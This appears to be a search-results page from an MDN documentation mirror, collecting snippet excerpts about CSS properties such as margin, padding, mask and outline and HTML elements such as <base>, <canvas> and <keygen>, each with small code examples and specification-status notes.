... see also css values for controlling inheritance: inherit, initial, unset, and revert introducing the css cascade cascade and inheritance css key concepts: css syntax, at-rule, comments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values.
initial - CSS: Cascading Style Sheets
WebCSSinitial
examples using initial to reset color for an element html <p> <span>this text is red.</span> <em>this text is in the initial color (typically black).</em> <span>this is red again.</span> </p> css p { color: red; } em { color: initial; } result specifications specification status comment css cascading and inheritance level 4the definition of 'initial' in that specification.
... candidate recommendation no changes from level 3.
... candidate recommendation initial definition.
linear-gradient() - CSS: Cascading Style Sheets
the ending point can be simply understood as the symmetrical point of the starting point.
... specifications specification status comment css images module level 4the definition of 'gradient color-stops' in that specification.
... candidate recommendation initial definition.
margin-bottom - CSS: Cascading Style Sheets
height:4em; } .box2 { border:1px dashed black; border-width:1px 0; margin-bottom:2em; } some definitions for container and divs so margins' effects can be seen more clearly .container { background-color:orange; width:320px; border:1px solid black; } div { width:320px; background-color:gold; } result specifications specification status comment css basic box modelthe definition of 'margin-bottom' in that specification.
... recommendation removes its effect on inline elements.
... recommendation initial definition ...
margin-top - CSS: Cascading Style Sheets
he width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting positive and negative top margins .content { margin-top: 5%; } .sidebox { margin-top: 10px; } .logo { margin-top: -5px; } #footer { margin-top: 1em; } specifications specification status comment css basic box modelthe definition of 'margin-top' in that specification.
... recommendation removes its effect on inline elements.
... recommendation initial definition ...
margin - CSS: Cascading Style Sheets
WebCSSmargin
specifications specification status comment css basic box modelthe definition of 'margin' in that specification.
... recommendation removes the effect of top and bottom margins on inline elements.
... recommendation initial definition.
mask-clip - CSS: Cascading Style Sheets
WebCSSmask-clip
lip; /* non-standard keyword values */ -webkit-mask-clip: border; -webkit-mask-clip: padding; -webkit-mask-clip: content; -webkit-mask-clip: text; /* multiple values */ mask-clip: padding-box, no-clip; mask-clip: view-box, fill-box, border-box; /* global values */ mask-clip: inherit; mask-clip: initial; mask-clip: unset; syntax one or more of the keyword values listed below, separated by commas.
...tion value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-clip' in that specification.
... candidate recommendation initial definition ...
mask-composite - CSS: Cascading Style Sheets
/* keyword values */ mask-composite: add; mask-composite: subtract; mask-composite: intersect; mask-composite: exclude; /* global values */ mask-composite: inherit; mask-composite: initial; mask-composite: unset; syntax one or more of the keyword values listed below, separated by commas.
...e="subtract">subtract</option> <option value="intersect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskcomposite = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-composite' in that specification.
... candidate recommendation initial definition ...
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
/* keyword values */ mask-mode: alpha; mask-mode: luminance; mask-mode: match-source; /* multiple values */ mask-mode: alpha, match-source; /* global values */ mask-mode: inherit; mask-mode: initial; mask-mode: unset; syntax the mask-mode property is specified as one or more of the keyword values listed below, separated by commas.
...value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskmode = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-mode' in that specification.
... candidate recommendation initial definition ...
mask-origin - CSS: Cascading Style Sheets
syntax one or more of the keyword values listed below, separated by commas.
...ion value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-origin' in that specification.
... candidate recommendation initial definition ...
mask-position - CSS: Cascading Style Sheets
ttom; mask-position: left; mask-position: right; mask-position: center; /* <position> values */ mask-position: 25% 75%; mask-position: 0px 0px; mask-position: 10% 8em; /* multiple values */ mask-position: top right; mask-position: 1rem 1rem, center; /* global values */ mask-position: inherit; mask-position: initial; mask-position: unset; syntax one or more <position> values, separated by commas.
...">bottom left</option> <option value="10px 20px">10px 20px</option> <option value="60% 20%">60% 20%</option> </select> javascript var maskposition = document.getelementbyid("maskposition"); maskposition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskposition = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-position' in that specification.
... candidate recommendation initial definition ...
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
syntax one or more <bg-size> values, separated by commas.
...ption value="200px 100px">200px 100px</option> <option value="cover">cover</option> <option value="contain">contain</option> </select> javascript var masksize = document.getelementbyid("masksize"); masksize.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.masksize = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-size' in that specification.
... candidate recommendation initial definition ...
max() - CSS: Cascading Style Sheets
WebCSSmax
the max() css function lets you set the largest (most positive) value from a list of comma-separated expressions as the value of a css property value.
... syntax the max() function takes one or more comma-separated expressions as its parameter, with the largest (most positive) expression value used as the value of the property to which it is assigned.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 specifications specification status comment css values and units module level 4the definition of 'max()' in that specification.
min-width - CSS: Cascading Style Sheets
WebCSSmin-width
ercentage as specified or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting minimum element width table { min-width: 75%; } form { min-width: 0; } specifications specification status comment css box sizing module level 4the definition of 'min-width' in that specification.
... candidate recommendation adds the auto keyword and uses it as the initial value.
... recommendation initial definition.
min() - CSS: Cascading Style Sheets
WebCSSmin
the min() css function lets you set the smallest (most negative) value from a list of comma-separated expressions as the value of a css property value.
... syntax the min() function takes one or more comma-separated expressions as its parameter, with the smallest (most negative) expression value result used as the value.
... <form> <label>type something:</label> <input type="text"> </form> specifications specification status comment css values and units module level 4the definition of 'min()' in that specification.
orphans - CSS: Cascading Style Sheets
WebCSSorphans
it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'orphans' in that specification.
... candidate recommendation extends orphans to apply to any type of fragment, including pages, regions, or columns.
... recommendation initial definition.
outline-style - CSS: Cascading Style Sheets
{ outline-width: 10px; padding: 15px; } result setting outline style to inset and outset html <div> <div class="inset"> <p class="outset">outline demo</p> </div> </div> css .inset { outline-style: inset; } .outset { outline-style: outset; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-style' in that specification.
... recommendation added auto value.
... recommendation initial definition.
outline-width - CSS: Cascading Style Sheets
>1ex</span> <span id="em">1.2em</span> css span { outline-style: solid; display: inline-block; margin: 20px; } #thin { outline-width: thin; } #medium { outline-width: medium; } #thick { outline-width: thick; } #twopixels { outline-width: 2px; } #oneex { outline-width: 1ex; } #em { outline-width: 1.2em; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-width' in that specification.
... recommendation no change.
... recommendation initial definition.
outline - CSS: Cascading Style Sheets
WebCSSoutline
-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px; background: #ffa; } result specifications specification status comment css basic user interface module level 3the definition of 'outline' in that specification.
... recommendation no change.
... recommendation initial definition.
padding-bottom - CSS: Cascading Style Sheets
tter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting padding bottom with pixels and percentages .content { padding-bottom: 5%; } .sidebox { padding-bottom: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-bottom' in that specification.
... recommendation no change.
... recommendation initial definition.
padding-left - CSS: Cascading Style Sheets
st-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting left padding using pixels and percentages .content { padding-left: 5%; } .sidebox { padding-left: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-left' in that specification.
... recommendation no change.
... recommendation initial definition.
padding-right - CSS: Cascading Style Sheets
letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting right padding using pixels and percentages .content { padding-right: 5%; } .sidebox { padding-right: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-right' in that specification.
... recommendation no change.
... recommendation initial definition.
padding-top - CSS: Cascading Style Sheets
first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting top padding using pixels and percentages .content { padding-top: 5%; } .sidebox { padding-top: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-top' in that specification.
... recommendation no change.
... recommendation initial definition.
padding - CSS: Cascading Style Sheets
WebCSSpadding
/* left and right: 3% padding */ /* bottom: 20px padding */ padding: 1em 3px 30px 5px; /* top: 1em padding */ /* right: 3px padding */ /* bottom: 30px padding */ /* left: 5px padding */ specifications specification status comment css basic box modelthe definition of 'padding' in that specification.
... recommendation no change.
... recommendation initial definition.
perspective-origin - CSS: Cascading Style Sheets
ass="cube poml"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: 50% 50%;</code></figcaption> <div class="container"> <div class="cube pomm"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: right;</code></figcaption> <div class="container"> <div class="cube pomr"> <div ...
...s="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> </section> css /* perspective-origin values (unique per example) */ .potl { perspective-origin: top left; } .potm { perspective-origin: top; } .potr { perspective-origin: top right; } .poml { perspective-origin: left; } .pomm { perspective-origin: 50% 50%; } .pomr { perspective-origin: right; } .pobl { perspective-origin: bottom left; } .pobm { perspective-origin: bottom; } .pobr { perspective-origin: bottom right; } .po200200neg { perspective-origin: -200% -200%; } .po200200pos { perspective-origin: 200% 200%; } .po200200 { perspective-origin: 200% -200%; } /* define the container div, the cube div, ...
...orm: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section { background-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result specifications specification status comment css transforms level 2the definition of 'perspective-origin' in that specification.
pointer-events - CSS: Cascading Style Sheets
html <ul> <li><a href="https://developer.mozilla.org">mdn</a></li> <li><a href="http://example.com">example.com</a></li> </ul> css a[href="http://example.com"] { pointer-events: none; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'pointer-events' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointer-events' in that specification.
... recommendation initial definition its extension to html elements, though present in early drafts of css basic user interface module level 3, has been pushed to its level 4.
<resolution> - CSS: Cascading Style Sheets
specifications specification status comment css values and units module level 4the definition of '<resolution>' in that specification.
... candidate recommendation adds the dppx unit.
... recommendation initial definition.
shape-image-threshold - CSS: Cascading Style Sheets
vel at commodi voluptates enim, distinctio officia.
... result specifications specification status comment css shapes module level 1the definition of 'shape-image-threshold' in that specification.
... candidate recommendation initial definition ...
shape-margin - CSS: Cascading Style Sheets
syntax /* <length> values */ shape-margin: 10px; shape-margin: 20mm; /* <percentage> value */ shape-margin: 60%; /* global values */ shape-margin: inherit; shape-margin: initial; shape-margin: unset; values <length-percentage> sets the margin of the shape to a <length> value or to a <percentage> of the width of the element's containing block.
... inhabitant of mars, if he exists, probably knows its truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px; background-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specification status comment css shapes module level 1the definition of 'shape-margin' in that specification.
... candidate recommendation initial definition ...
text-align - CSS: Cascading Style Sheets
ss .example { text-align: justify; border: solid; } result notes the standard-compatible way to center a block itself without centering its inline content is setting the left and right margin to auto, e.g.: .something { margin: auto; } .something { margin: 0 auto; } .something { margin-left: auto; margin-right: auto; } specifications specification status comment css logical properties and values level 1the definition of 'text-align' in that specification.
... recommendation no changes css level 1the definition of 'text-align' in that specification.
... recommendation initial definition ...
text-combine-upright - CSS: Cascading Style Sheets
html <p lang="zh-hant">民國<span class="num">105</span >年<span class="num">4</span >月<span class="num">29</span>日</p> css html { writing-mode: vertical-rl; font: 24px serif } .num { text-combine-upright: all } results screenshotlive sample specifications specification status comment css writing modes level 4the definition of 'text-combine-upright' in that specification.
... candidate recommendation add digits value css writing modes module level 3the definition of 'text-combine-upright' in that specification.
... proposed recommendation initial definition ...
text-emphasis-position - CSS: Cascading Style Sheets
the informative table below summarizes the preferred emphasis mark positions for chinese, mongolian and japanese: preferred emphasis mark and ruby position language preferred position illustration horizontal vertical japanese over right korean mongolian chinese under right note: the text-emphasis-position cannot be set, and there...
...in html, this can be done with the following pattern: em { text-emphasis: dot; /* set text-emphasis for <em> elements */ } em rt { display: none; /* hide ruby inside <em> elements */ } specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate recommendation initial definition ...
text-rendering - CSS: Cascading Style Sheets
html <p class="speed">lyowat - ff fi fl ffl</p> <p class="legibility">lyowat - ff fi fl ffl</p> css p { font: 1.5em "constantia", "times new roman", "georgia", "palatino", serif } .speed { text-rendering: optimizespeed; } .legibility { text-rendering: optimizelegibility; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification.
... recommendation initial definition ...
text-transform - CSS: Cascading Style Sheets
full-size-kana <p>ァィゥェ ォヵㇰヶ ㇱㇲッㇳ ㇴㇵㇶㇷ ㇸㇹㇺャ ュョㇻㇼ ㇽㇾㇿヮ</p> <p>ァィゥェ ォヵㇰヶ ㇱㇲッㇳ ㇴㇵㇶㇷ ㇸㇹㇺャ ュョㇻㇼ ㇽㇾㇿヮ</p> </p> p:nth-of-type(2) { text-transform: full-size-kana; } specifications specification status comment css text module level 3the definition of 'text-transform' in that specification.
... recommendation from css level 1the definition of 'text-transform' in that specification., extends letters to non-latin bi-cameral scripts css level 1the definition of 'text-transform' in that specification.
... recommendation initial definition ...
<time-percentage> - CSS: Cascading Style Sheets
ages 50% +50% optional plus sign -50% negative percentages are not valid for all properties that accept percentages invalid percentages 50 % space not allowed between the space and the percentage sign valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not recommended.
... specifications specification status comment css values and units module level 4the definition of '<time-percentage>' in that specification.
... candidate recommendation defines <time-percentage>.
touch-action - CSS: Cascading Style Sheets
g wcag 2.0 formal definition initial valueautoapplies toall elements except: non-replaced inline elements, table rows, row groups, table columns, and column groupsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | none | [ [ pan-x | pan-left | pan-right ] | [ pan-y | pan-up | pan-down ] | pinch-zoom ] | manipulation examples disabling all gestures the most common usage is to disable all gestures on an element (and its non-scrollable descendants) that provides its own dragging and zooming behavior – such as a map or game surface.
... html <div id="map"></div> css #map { height: 400px; width: 400px; background: blue; touch-action: none; } result specifications specification status comment compatibility standardthe definition of 'touch-action' in that specification.
... recommendation latest recommendation.
<transform-function> - CSS: Cascading Style Sheets
the most common is the cartesian coordinate system, although homogeneous coordinates are also sometimes used.
...thus, each coordinate changes based on the values in the matrix: ac bd xy = ax+cy bx+dy it is even possible to apply several transformations in a row: a1 c1 b1 d1 a2 c2 b2 d2 = a1 a2 + c1 b2 a1 c2 + c1 d2 b1 a2 + d1 b2 b1 c2 + d1 d2 with this notation, it is possible to describe, and therefore compose, most common transformations: rotations, scaling, or skewing.
...selector('#example-element'); selectelem.addeventlistener('change', () => { if(selectelem.value === 'choose a function') { return; } else { example.style.transform = `rotate3d(1, 1, 1, 30deg) ${selectelem.value}`; settimeout(function() { example.style.transform = 'rotate3d(1, 1, 1, 30deg)'; }, 2000) } }) result specifications specification status comment css transforms level 2the definition of '<transform-function>' in that specification.
transition-delay - CSS: Cascading Style Sheets
the delay may be zero, positive, or negative: a value of 0s (or 0ms) will begin the transition effect immediately.
... a negative value will begin the transition effect immediately, and partway through the effect.
...delay:4s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); specifications specification status comment css transitionsthe definition of 'transition-delay' in that specification.
unicode-bidi - CSS: Cascading Style Sheets
on-inline elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | embed | isolate | bidi-override | isolate-override | plaintext examples css .bible-quote { direction: rtl; unicode-bidi: embed; } html <div class="bible-quote"> a line of text </div> <div> another line of text </div> result specifications specification status comment css writing modes module level 3the definition of 'unicode-bidi' in that specification.
... proposed recommendation added plaintext, isolate, and isolate-override keywords.
... recommendation initial definition.
unset - CSS: Cascading Style Sheets
WebCSSunset
color: unset; } result border html <p>this text has a red border.</p> <div> <p>this text has a red border.</p> </div> <div class="bar"> <p>this text has a black border (initial default, not inherited).</p> </div> css div { border: 1px solid green; } p { border: 1px solid red; } .bar p { border-color: unset; } result specifications specification status comment css cascading and inheritance level 4the definition of 'unset' in that specification.
... candidate recommendation no changes from level 3.
... candidate recommendation initial definition.
vertical-align - CSS: Cascading Style Sheets
image with a text-bottom alignment.</div> <div>an <img class="middle" src="https://udn.realityripple.com/samples/b4/e1f0faff5b.svg" alt="link" width="32" height="32" /> image with a middle alignment.</div> css img.top { vertical-align: text-top; } img.bottom { vertical-align: text-bottom; } img.middle { vertical-align: middle; } result specifications specification status comment css level 2 (revision 1)the definition of 'vertical-align' in that specification.
... recommendation adds the <length> value and allows it to be applied to elements with a display type of table-cell.
... recommendation initial definition.
visibility - CSS: Cascading Style Sheets
d>1.1</td> <td class="collapse">1.2</td> <td>1.3</td> </tr> <tr class="collapse"> <td>2.1</td> <td>2.2</td> <td>2.3</td> </tr> <tr> <td>3.1</td> <td>3.2</td> <td>3.3</td> </tr> </table> css .collapse { visibility: collapse; } table { border: 1px solid red; } td { border: 1px solid gray; } specifications specification status comment css flexible box layout modulethe definition of 'visibility' in that specification.
... candidate recommendation defines the collapse value as it applies to flex items.
... recommendation initial definition.
will-change - CSS: Cascading Style Sheets
the spec doesn't define the behavior of particular value, but it is common for transform to be a compositing layer hint.
...nt is hovered el.addeventlistener('mouseenter', hintbrowser); el.addeventlistener('animationend', removehint); function hintbrowser() { // the optimizable properties that are going to change // in the animation's keyframes block this.style.willchange = 'transform, opacity'; } function removehint() { this.style.willchange = 'auto'; } specifications specification status comment css will change module level 1the definition of 'will-change' in that specification.
... candidate recommendation initial definition ...
word-spacing - CSS: Cascading Style Sheets
rst-letter and ::first-line.inheritedyespercentagesrefer to the width of the affected glyphcomputed valuean optimum, minimum, and maximum value, each consisting of either an absolute length, a percentage, or the keyword normalanimation typea length formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css text module level 3the definition of 'word-spacing' in that specification.
... recommendation no change.
... recommendation initial definition.
writing-mode - CSS: Cascading Style Sheets
-lr; -webkit-writing-mode: sideways-lr; -ms-writing-mode: sideways-lr; } .example.text5 span, .example.text5 { writing-mode: sideways-rl; -webkit-writing-mode: sideways-rl; -ms-writing-mode: sideways-rl; } result this image shows what the output should look like, in case your browser's support for writing-mode is incomplete: specifications specification status comment css writing modes level 4the definition of 'writing-mode' in that specification.
... candidate recommendation add sideways-lr and sideways-rl css writing modes module level 3the definition of 'writing-mode' in that specification.
... proposed recommendation initial definition ...
EXSLT
there are a number of modules; those that are supported by firefox are listed below: common (exsl)the exslt common package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package provides functions that allow the manipulation of strings.
... </xsl:template> </xsl:stylesheet> common the exslt common package provides basic functions that expand upon the capabilities of xslt.
... the namespace for the common package is http://exslt.org/common.
WAI ARIA Live Regions/API Support - Developer guides
as always, we're open to questions and suggestions for changes in community forums.
...ct about to go away) object shown or inserted children_changed::add (fired on the parent, with event data pointing to the child index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced with different object (this happens especially if an object's interfaces or role changes) children_changed::remove followed immediately by children_change::add event_object_hide followed immediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) ...
... text replaced text_changed::delete followed immediately by text_changed::insert ia2_event_text_removed followed immediately by ia2_event_text_inserted * we do not use msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events.
Video player styling basics - Developer guides
preliminary modifications from the original example this section summarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started.
... simple :hover and :focus states are then set for each button that simply alters the opacity of the button: .controls button:hover, .controls button:focus { opacity:0.5; } to obtain appropriate button images, a set of free common control set icons was downloaded from the web.
... javascript that's really it for the immediate styling; the next task is making a number of javascript changes to ensure that everything works as expected.
Challenge solutions - Developer guides
solution css supports common color names like orange, yellow, blue, green, or black.
... readable css commenting out a rule challenge comment out part of your stylesheet, without changing anything else, to make the very first letter of your document red.
... solution one way to do this is to put comment delimiters around the rule for .carrot: /* .carrot { color: orange; } */ text styles big initial letters challenge without changing anything else, make all six initial letters twice the size in the browser's default serif font.
DOM onevent handlers - Developer guides
two common approaches are addeventlistener() and the specific onevent handlers.
... when discussing the various methods of listening to events: event listener refers to a function or object registered via eventtarget.addeventlistener() event handler refers to a function registered via on… attributes or properties specifications specification status comment html living standardthe definition of 'event handlers' in that specification.
... recommendation browser compatibility detecting the presence of event handler properties you can detect the presence of an event handler property with the javascript in operator.
Event developer guide - Developer guides
WebGuideEvents
the overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.
...such events are commonly called synthetic events, as opposed to the events fired by the browser itself.dom on-event handlersthe web platform provides several ways to get notified of dom events.
... two common styles are: the generalized addeventlistener() and a set of specific on-event handlers.media eventsvarious events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.mouse gesture eventsgecko 1.9.1 added support for several mozilla-specific dom events used to handle mouse gestures.
Writing forward-compatible websites - Developer guides
unfortunately, libraries are common transgressors of these guidelines.
... don't ua-sniff this is really a particularly common instance of assuming that one feature (the presence of a particular substring in the user agent (ua) string) implies something about the presence or absence of other features.
... browser-specific features and prefixes don't target hacks at current or future versions of browsers this is also a common instance of assuming that present correlation between bugs implies future correlation between bugs.
HTML attribute: pattern - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'pattern' in that specification.
... recommendation html5the definition of 'pattern' in that specification.
... recommendation ...
HTML attribute: readonly - HTML: Hypertext Markup Language
set> <legend>radio buttons</legend> <p><label> <input type="radio" name="radio" value="regular"> regular </label></p> <p><label> <input type="radio" name="radio" value="readonly" readonly> readonly </label></p> <p><label> <input type="radio" name="radio" value="disabled" disabled> disabled </label></p> </fieldset> specifications specification status comment html living standardthe definition of 'readonly attribute' in that specification.
... recommendation html 5.1the definition of 'readonly attribute' in that specification.
... recommendation ...
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
for example: <meta property="og:image" content="https://example.com/thumbnail.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status comment html living standardthe definition of '<base>' in that specification.
... recommendation specified the behavior of target html 4.01 specificationthe definition of '<base>' in that specification.
... recommendation added the target attribute ...
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
WebHTMLElementbdo
specifications specification status comment html living standardthe definition of '<bdo>' in that specification.
... recommendation html 4.01 specificationthe definition of '<bdo>' in that specification.
... recommendation ...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
the carriers have an intrinsic collision avoidance system, which increases availability.</p> </blockquote> the output from this html snippet looks like this: specifications specification status comment html living standardthe definition of '<blockquote>' in that specification.
... recommendation html 4.01 specificationthe definition of '<blockquote>' in that specification.
... recommendation ...
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
note: exceeding the maximum dimensions or area renders the canvas unusable — drawing commands will not work.
... mdn hit regions and accessability canvas accessibility use cases canvas element accessibility issues html5 canvas accessibility in firefox 13 – by steve faulkner best practices for interactive canvas elements specifications specification status comment html living standardthe definition of '<canvas>' in that specification.
... recommendation initial definition ...
<code>: The Inline Code element - HTML: Hypertext Markup Language
WebHTMLElementcode
specifications specification status comment html living standardthe definition of '<code>' in that specification.
... recommendation html 4.01 specificationthe definition of '<code>' in that specification.
... recommendation ...
<del>: The Deleted Text element - HTML: Hypertext Markup Language
WebHTMLElementdel
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of '<del>' in that specification.
... recommendation html 4.01 specificationthe definition of '<del>' in that specification.
... recommendation ...
<dfn>: The Definition element - HTML: Hypertext Markup Language
WebHTMLElementdfn
result the output of the above code looks like this: specifications specification status comment html living standardthe definition of '<dfn>' in that specification.
... recommendation html 4.01 specificationthe definition of '<dfn>' in that specification.
... recommendation ...
<div>: The Content Division element - HTML: Hypertext Markup Language
WebHTMLElementdiv
html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px; background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status comment html living standardthe definition of '<div>' in that specification.
... recommendation obsoleted align html 4.01 specificationthe definition of '<div>' in that specification.
... recommendation ...
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
WebHTMLElementhr
</p> result specifications specification status comment html living standardthe definition of '<hr>' in that specification.
... recommendation html 4.01 specificationthe definition of '<hr>' in that specification.
... recommendation the align, noshade, size, and width attributes are deprecated ...
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
WebHTMLElementi
<p>the latin phrase <i>veni, vidi, vici</i> is often mentioned in music, art, and literature.</p> result specifications specification status comment html living standardthe definition of '<i>' in that specification.
... recommendation html 4.01 specificationthe definition of '<b>' in that specification.
... recommendation ...
<ins> - HTML: Hypertext Markup Language
WebHTMLElementins
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of '<ins>' in that specification.
... recommendation html 4.01 specificationthe definition of '<ins>' in that specification.
... recommendation ...
<keygen> - HTML: Hypertext Markup Language
WebHTMLElementkeygen
here is an example form submission as it would be delivered to a cgi program by the http server: commonname=john+doe&email=doe@foo.com&org=foobar+computing+corp.& orgunit=bureau+of+bureaucracy&locality=anytown&state=california&country=us& key=mihfmhewxdanbgkqhkig9w0baqefaanladbiakeanx0tiljromuue%2bptwbre6xfv%0awtkqbsshxk5zhcuwcwyvcniq9b82qhjdoacdd34rqfcaind46fxkqunb0mvkzqid%0aaqabfhfnb3ppbgxhsxnneuzyawvuzdanbgkqhkig9w0baqqfaanbaakv2eex2n%2fs%0ar%2f7ijnrowlszsmttiqteb%2badwhgj9u1xruroilq%2fo...
...2cuqxifzcnzkyakwp4dubqw%0ai0%2f%2frgbvmco%3d specifications specification status comment html5the definition of 'the <keygen> element' in that specification.
... recommendation initial definition.
<legend> - HTML: Hypertext Markup Language
WebHTMLElementlegend
specifications specification status comment html living standardthe definition of '<legend>' in that specification.
... recommendation html 4.01 specificationthe definition of '<legend>' in that specification.
... recommendation initial definition ...
<listing> - HTML: Hypertext Markup Language
WebHTMLElementlisting
summary the html listing element (<listing>) renders text between the start and end tags without interpreting the html in between and using a monospaced font.
... the html 2 standard recommended that lines shouldn't be broken when not greater than 132 characters.
... attributes this element has no other attributes than the global attributes, common to all elements.
<map> - HTML: Hypertext Markup Language
WebHTMLElementmap
"275,75,75" href="right.html"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result expected live example output the live example above should appear similar to the following images (when using your keyboard tab key): for the left.html link: for the right.html link specifications specification status comment html living standardthe definition of '<map>' in that specification.
... recommendation html 4.01 specificationthe definition of '<map>' in that specification.
... recommendation initial definition ...
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
WebHTMLElementnav
common examples of navigation sections are menus, tables of contents, and indexes.
